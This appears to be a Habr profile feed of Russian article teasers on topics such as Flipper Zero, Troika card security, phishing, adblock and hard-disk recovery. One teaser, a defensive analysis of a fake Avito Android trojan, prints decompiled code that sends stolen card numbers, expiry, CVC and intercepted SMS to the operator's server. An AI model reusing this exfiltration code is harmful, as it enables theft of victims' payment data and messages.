Pull to refresh
2
0
Send message

[Личный опыт] Работа в Uber в Амстердаме: как устроена разработка, карьерный рост, подготовка к интервью

Reading time 9 min
Views 22K

В нашем блоге мы уже не один раз рассказывали о переезде в Нидерланды (раз, два). Разработчики, которые оказались в Амстердаме в один голос говорят о том, что с точки зрения технологий и подходов к разработке среди местных ИТ-компаний в лучшую сторону выделяется Uber.

Сегодня нам удалось поговорить Алиной Коваленко, которая работает в компании в должности Software Engineer II. Алина поделится своим опытом переезда и даст несколько полезных советов.

Поехали!
Total votes 33: ↑26 and ↓7 +19
Comments 20

Flipper Zero — пацанский мультитул-тамагочи для пентестера

Reading time 10 min
Views 281K
Flipper Zero — Multi-tool Device for Hackers

Warning

Информация в статье устарела, Flipper Zero был полностью пеработан на другой платформе. Актуальная информация в нашем блоге blog.flipperzero.one


Flipper Zero — проект карманного мультитула на основе Raspberry Pi Zero для пентеста IoT и беспроводных систем контроля доступа, который я разрабатываю с друзьями. А еще это тамагочи, в котором живет кибер-дельфин.

Он будет уметь:

  • Работать в диапазоне 433 MHz — для исследования радиопультов, датчиков, электронных замков и реле.
  • NFC — читать/записывать и эмулировать карты ISO-14443.
  • 125 kHz RFID — читать/записывать и эмулировать низкочастотные карты.
  • iButton ключи — читать/записывать и эмулировать контактные ключи, работающие по протоколу 1-Wire.
  • Wi-Fi — для проверки защищенности беспроводных сетей. Адаптер поддерживает инъекции пакетов и мониторный режим.
  • Bluetooth — поддерживается пакет bluez для Linux
  • Режим Bad USB — может подключаться как USB-slave и эмулировать клавиатуру, ethernet-адаптер и другие устройства, для инъекции кода или сетевого пентеста.
  • Тамагочи! — микроконтроллер с низким энергопотреблением работает, когда основная система выключена.

Я с волнением представляю свой самый амбициозный проект, идею которого я вынашивал много лет. Это попытка объединить все часто необходимые инструменты для физического пентеста в одно устройство, при этом добавив ему личность, чтобы он был милым до усрачки.
В данный момент проект находится на стадии R&D и утверждения функционала, и я приглашаю всех поучаствовать в обсуждении функций или даже принять участие в разработке. Под катом подробное описание проекта.
Читать дальше →
Total votes 237: ↑234 and ↓3 +231
Comments 162

Как сделать ваш HTML отзывчивым, добавив одну строку кода на CSS

Reading time 4 min
Views 64K
Привет, Хабр! представляю вашему вниманию перевод статьи «How to make your HTML responsive by adding a single line of CSS» автора Per Harald Borgen.



В этой статье я научу вас, как использовать CSS Grid для создания крутой сетки изображений, которая изменяет количество столбцов в зависимости от ширины экрана или окна браузера.

Самое крутое, что для добавления отзывчивости потребуется написать одну строчку кода на CSS
Читать дальше →
Total votes 79: ↑69 and ↓10 +59
Comments 38

Самостоятельная диагностика жестких дисков и восстановление данных

Reading time 22 min
Views 239K
В данной статье описываются методы самостоятельной диагностики различных неисправностей жестких дисков по симптомам их проявления, а также способы относительно безопасного клонирования жестких дисков с незначительными проблемами.

Рассмотрены различные случаи утраты данных и набор оптимальных действий, которые без глубоких знаний устройства файловых систем с помощью программ автоматического восстановления помогут вам вернуть вашу информацию без посторонней помощи.

Но прежде, чем приступить к каким-либо самостоятельным действиям, необходимо внимательно ознакомиться со всеми материалами статьи, и только потом анализировать состояние вашего жесткого диска, чтобы ваши попытки не стали последними в жизни накопителя, и чтобы оными вы не лишили себя последних надежд на восстановление нужных вам данных.


Читать дальше →
Total votes 101: ↑99 and ↓2 +97
Comments 114

Пентест-лаборатория Pentestit — полное прохождение

Reading time 17 min
Views 77K


Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.

Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.

К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.

Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!
Читать дальше →
Total votes 35: ↑35 and ↓0 +35
Comments 26

Исследование защищенности карты Тройка

Reading time 18 min
Views 202K
Карта тройка

Карта Тройка представляет из себя универсальный пополняемый электронный кошелек, широко используемый в системах оплаты общественного транспорта Москвы с 2013 года.

Цель данного исследования — выяснить защищенность системы электронного кошелька от подделки баланса, оценить безопасность инфраструктуры, работающей с картой. Вся работа была выполнена без использования специальных технических средств. Использовался дешевый смартфон на платформе Android и персональный компьютер. Общее время, затраченное на исследование, составило 15 дней.

В ходе работы был успешно проведен реверс­-инжиниринг мобильного приложения «Мой проездной», что позволило получить доступ к памяти карты и изучить структуру хранения данных. Были найдены уязвимости, позволяющие выполнить подделку баланса, записанного на электронном кошельке карты Тройка. В результате чего стало возможным использование систем, поддерживающих карту, без оплаты.

Итогом исследования стала разработка приложения TroikaDumper, позволяющего эксплуатировать уязвимости системы электронного кошелька.

Внимание! Данные материалы представлены исключительно в ознакомительных целях. Подделка проездных билетов является уголовным преступлением и преследуется по закону.

Читать дальше →
Total votes 380: ↑374 and ↓6 +368
Comments 348

Восьмибитные анекдоты

Reading time 4 min
Views 60K
«Анекдот — небольшой забавный, смешной рассказ» (Из толкового словаря).
Наверное, надо бы предупредить читателей, что мол «Детям до 40 лет читать не рекомендуется». Но я, пожалуй, этого делать не буду. Все чинно и благородно.


Читать дальше →
Total votes 155: ↑154 and ↓1 +153
Comments 182

Повлияла ли работа математика Джона Нэша на появление Биткоин?

Reading time 3 min
Views 8K
Трэвис Патрон, автор книги "Революция Биткоин: интернет денег", объясняет, каким образом известный американский математик Джон Нэш мог повлиять на создание криптовалюты биткоин.

image

Можно ли приписать Джону Нэшу, находившемуся на переднем фронте математической и экономической мысли со своей идеей "идеальных денег" приписать заслугу в формировании электронных денег, известных как «криптовалюты»?

В одной из своих лекций он утверждал:
Особый товар, или средство, которое мы называем деньгами, имеет долгую и интересную историю. И поскольку мы так сильно зависим от его использования, и находимся под влиянием желания иметь большее их количество и не потерять то, что у нас уже есть, мы склонны к иррациональному мышлению на их счёт. Поэтому мы можем упускать из виду технологические аспекты их использования и возможности использовать их более-менее эффективно.


Нэш описал концепцию идеальных денег как некоей единицы стандарта измерений, то есть, нечто вроде ватт, часов или градусов.

Он утверждал, что идеальные деньги должны представить приемлемое решение парадокса Триффина (ключевое противоречие Бреттон-Вудской системы):
Для того чтобы обеспечить центральные банки других стран необходимым количеством долларов для формирования национальных валютных резервов, необходимо, чтобы в США постоянно наблюдался дефицит платёжного баланса. Но дефицит платёжного баланса подрывает доверие к доллару и снижает его ценность в качестве резервного актива.

Читать дальше →
Total votes 9: ↑6 and ↓3 +3
Comments 3

Как я позорно деактивировал ботнет

Reading time 10 min
Views 191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6 +356
Comments 143

Обзор частых вопросов по тестированию ПО на собеседованиях и ответы на них

Reading time 21 min
Views 647K
Главная цель данной статьи – помочь преодолеть страх, который возникает у тестировщиков ПО (как начинающих, так и опытных) к предстоящему интервью в связи с незнанием грядущего.

Второстепенная цель – собрать воедино основные вопросы, которые, вероятней всего, будут заданы на собеседовании. Как у начинающего тестировщика, у меня уже скопился определенный опыт подготовки к собеседованиям на данную должность, и я могу заметить, что даже специализированные QA форумы не справляются с этой целью, а может и не ставят ее перед собой вообще.

Перечень вопросов разумеется не окончательный и не претендует на образцовость, а выступает лишь своеобразным ориентиром при подготовке специалистов с тестирования ПО.
Читать дальше →
Total votes 24: ↑19 and ↓5 +14
Comments 24

Примеры фишинговых сообщений электронной почты

Reading time 5 min
Views 134K


Я не случайно поставил в заглавие поста картинку с котиком. Это один из примеров манипулирования человеческим сознанием, апеллирование к жалости. Методы воздействия злоумышленников, использующих такие приемы, находятся в области практической психологии и относятся к cоциальной инженерии. Играя на эмоциях, чувствах, страхах и рефлексах людей злоумышленники получают доступ к интересующей их информации. Все эти методы используются злоумышленниками при создании фишинговых почтовых сообщений.

Внимание, под катом много изображений.
Читать дальше →
Total votes 47: ↑44 and ↓3 +41
Comments 34

Алкомат

Reading time 4 min
Views 53K
Иван Арнольдович, покорнейше прошу, пива Шарикову не предлагать.
профессор Преображенский. «Собачье Сердце»

Как-то, путешествуя по просторам Интернет, увидел разработку Rumbot. Мне всегда нравилось чем-то управлять и в итоге пришла идея улучшить разработку и привнести в нее новые элементы. Получился проект, включающий в себя не только разработку железа и софта, но также и 3D-моделирование корпуса, экскурс в изготовление мебели, работа со звуком, некоторые хитрости работы барменов и многое другое, что сопутствовало разработке. Получился забавный аппарат для вечеринок с друзьями. Главное было пройти весь путь от идеи до разработки конечного продукта. Аппарат позволяет делать алкогольные коктейли для пяти человек. Назвал я его «Алкомат».



Подробности ниже. Много больших фото.
Читать дальше →
Total votes 96: ↑93 and ↓3 +90
Comments 112

50 лучших инструментов для разработки CSS и JavaScript

Reading time 3 min
Views 73K
Веб-разработчику постоянно необходимо быть в курсе появления новых библиотек и инструментов. Я нашёл и выбрал несколько лучших инструментов для разработки как CSS, так и JavaScript. Это не просто копипаста – это выборка, основанная как на рекомендациях, так и на личном опыте использования.

Разработка фронтэнда – штука хитрая. И хотя она не слишком сложная для освоения, некоторые тонкости освоить также не помешает. В сети ежедневно появляются отличные ресурсы. Они могут дать толчок развитию ваших навыков и помочь вам лучше выполнить вашу задачу.

Лучшие инструменты для CSS и JavaScript


1) Fileicone

Сборник 100%-CSS файловых иконок. Может пригодиться для дизайна страниц.

image

2) Marx

Элегантное обнуление CSS безо всякого JavaScript.

image
Читать дальше →
Total votes 54: ↑36 and ↓18 +18
Comments 17

Обход блокировок adblock, и блокировка обхода блокировки

Reading time 2 min
Views 92K
В статье рассматривается один из эффективных методов противодействию adblock, и обход этого метода. Этот круг вечен – но, похоже, рекламщики вырвались вперёд!



Как-то раз на одном сайте администрация вежливо попросила пользователей добавить сайт в исключения адблока. Я, как сознательный пользователь, это сделал – но появившаяся реклама через какое-то время стала совсем не похожа на допустимую рекламу, и я включил адблок снова. К моему удивлению, реклама не исчезла – и я стал разбираться, в чём тут дело.
Читать дальше →
Total votes 44: ↑36 and ↓8 +28
Comments 114

Для всех и каждого. Лучшие альтернативы action-камерам GoPro

Reading time 9 min
Views 30K
За последние несколько лет на рынке электроники для съёмки фото и видео выделился и прочно закрепился полноценный сегмент продуктов – action-камеры. О том, в чём достоинство таких девайсов на фоне классических средств съёмки, было сказано уже много, давно и подробно, в первую очередь – на примере камер компании GoPro: они компактные, удобны для путешествий и экстремальных вылазок, могут быть оборудованы различными аксессуарами, не говоря о главной фиче – возможностью понаблюдать за тайной жизнью своего кота.


Камера рекламирует сама себя – неудивительно, ведь GoPro делает камеры давно и очень качественно, пытаясь захватить все ниши сравнительно молодого рынка. Всё в ней хорошо… кроме цены – чтобы стать участником GoPro-сообщества, придётся неплохо потратиться. На помощь приходят китайские производители, благодаря которым у покупателей есть несколько альтернатив с не менее впечатляющей функциональностью и гораздо более доступной ценой. В преддверии зимнего action-сезона поговорим как раз об альтернативных камерах – добро пожаловать под кат.
Читать дальше →
Total votes 23: ↑21 and ↓2 +19
Comments 45

Как я делал веб-версию KeePass

Reading time 6 min
Views 80K
Как-то мне надо было добавить в админку просмотр списка паролей. База хранилась на сервере в формате KeePass (kdbx v2), сервер был на ноде — недолго думая, я взял первый попавшийся пакет и сделал. А потом понадобилось то же самое, но прямо у пользователя в браузере, без сервера. Ничего не нашлось. Первым желанием было форкнуть либу и заменить использование node api, но от первого просмотра кода желание пропало, решил сделать сам.



Под катом расскажу о проблемах, с которыми я столкнулся, и способах их решения
Читать дальше →
Total votes 134: ↑133 and ↓1 +132
Comments 162

Мегаобзор микрофонов для записи подкастов

Reading time 13 min
Views 55K


Мы очень внимательно следим за тем, что происходит в сфере подкастинга и принимаем регулярное участие в записи одного из наиболее востребованных подкастов в Рунете – передаче «Звук».

Создание передачи – это отдельная история с множеством разнообразных нюансов. Сегодня мы поговорим об одном из них и посмотрим, какие микрофоны для записи подкастов рекомендуют эксперты вроде Марко Армента.
Читать дальше →
Total votes 25: ↑24 and ↓1 +23
Comments 29

Почему писать скрипты для борьбы с «браузером Амиго» — зло?

Reading time 9 min
Views 80K
Прочитав пост про удаление ненужного софта мне в который раз стало очень грустно. Автор предлагает «эффективное решение» по избавлению от всякого нежелательного софта, вроде упомянутого «амиго». И если некоторые части скрипта еще можно назвать, ну хотя бы безвредными, то удаление и запрет на запись "%username%\AppData\Local\Apps" выглядит как откровенный саботаж. Плохо еще и то, что такой или аналогичный по механике «полезный скрипт» некоторые всерьез считают действенной мерой. Это далеко не первая статья, от которой у меня сводит скулы, вижу что многие не понимают с чего вообще нужно начинать настройку безопасности в Windows-среде.

Представляю читателям мое видение списка минимально необходимых настроек и действий (в первую очередь для Windows-домена), чтобы никогда не видеть непонятных браузеров и свести риск вредоносного ПО к абсолютному минимуму. Некоторые описанные решения могут показаться спорными, и мало того, они таковыми и являются. Но заранее прошу, увидев первое предложение какого-то пункта, не спешите писать комментарий, прочитайте мысль до конца, возможно у вас отпадут вопросы.
Почему я не знаю как выглядит браузер Амиго?
Total votes 90: ↑77 and ↓13 +64
Comments 203

Освоение специальности Data Science на Coursera: личный опыт (ч.2)

Reading time 8 min
Views 29K


Мы публикуем вторую часть поста Владимира Подольского vpodolskiy, аналитика в департаменте по работе с образованием IBS, который закончил обучение по специализации Data Science  на Coursera. Это набор из 9 курсеровских  курсов от Университета Джонса Хопкинса + дипломная работа, успешное завершение которых дает право на сертификат.

Читайте в первой части: О специальности Data Science в общих чертах. Курсы: Инструменты анализа данных (программирование на R); Предварительная обработка данных; Документирование процесса обработки данных.

Часть 2
Читать дальше →
Total votes 14: ↑13 and ↓1 +12
Comments 4

Пудра для мозга или как сделать порошок для посудомойки в 9,7 раз дешевле

Reading time 11 min
Views 284K


Update
Новый вариант порошка и более подробный разбор во второй части: DIY порошок для посудомойки: разбираем промышленные средства и улучшаем рецепт

Сейчас расскажу, как из соды и стирального порошка сделать порошок для посудомоечной машины. Такой же по составу, только дешевле на порядок.

Есть очень много областей нашей жизни, где наше представление формирует исключительно маркетинговый буллшит. Увы, большинство людей даже не пытаются задумываться о том, что лежит в основе всего этого. Очень часто рыночная ситуация приводит к тому, что себестоимость продукта составляет 0.5% от его цены. Остальное маркетинг, наценки, логистика, упаковка и тому подобное. Почти все в курсе про концепцию продажи чернил для принтера по цене слез гималайских девственниц и настойчивые рекомендации производителей использовать только оригинальные расходные материалы. Например, совсем недавно меня озарило, что 1.5 грамма сухого вещества во флаконе удобрений для растений не могут стоить 200-250 рублей. А ведь именно такое количество может уместиться в относительно стабильном состоянии в виде раствора. Я сразу представил себе гектары полей и грузовики, которые везут тонны порошка. В результате перешел на расфасовки по 1 кг Буйских комплексных сухих удобрений. Можно ванну раствора приготовить.

Сегодня будем создавать ультра-дешевый порошок для посудомойки. Уменьшение реальной зарплаты и удорожание импортной бытовой химии заставило перерыть учебники, просмотреть кучу материалов с форумов химиков и попытаться найти способы экономии на расходниках. Очень уж ощутимо стал стоить порошок. Результаты вдумчивого исследования и экспериментов сильно удивили. Для промышленного применения чаще всего химиками-технологами создаются индивидуальные рецептуры в зависимости от качества воды и задач. Почему бы нам не попробовать разобраться во всем этом?

TLDR:

70% прокаленной соды и 30% стирального порошка вместо моющего средства.
Если очень лень возиться с содой, то просто порошок Биолан или его аналоги. Сода удешевляет.
Пищевая соль «Экстра» вместо соли.
Да начнутся адские эксперименты!
Total votes 159: ↑158 and ↓1 +157
Comments 447

Information

Rating
Does not participate
Location
Санкт-Петербург, Санкт-Петербург и область, Россия
Registered
Activity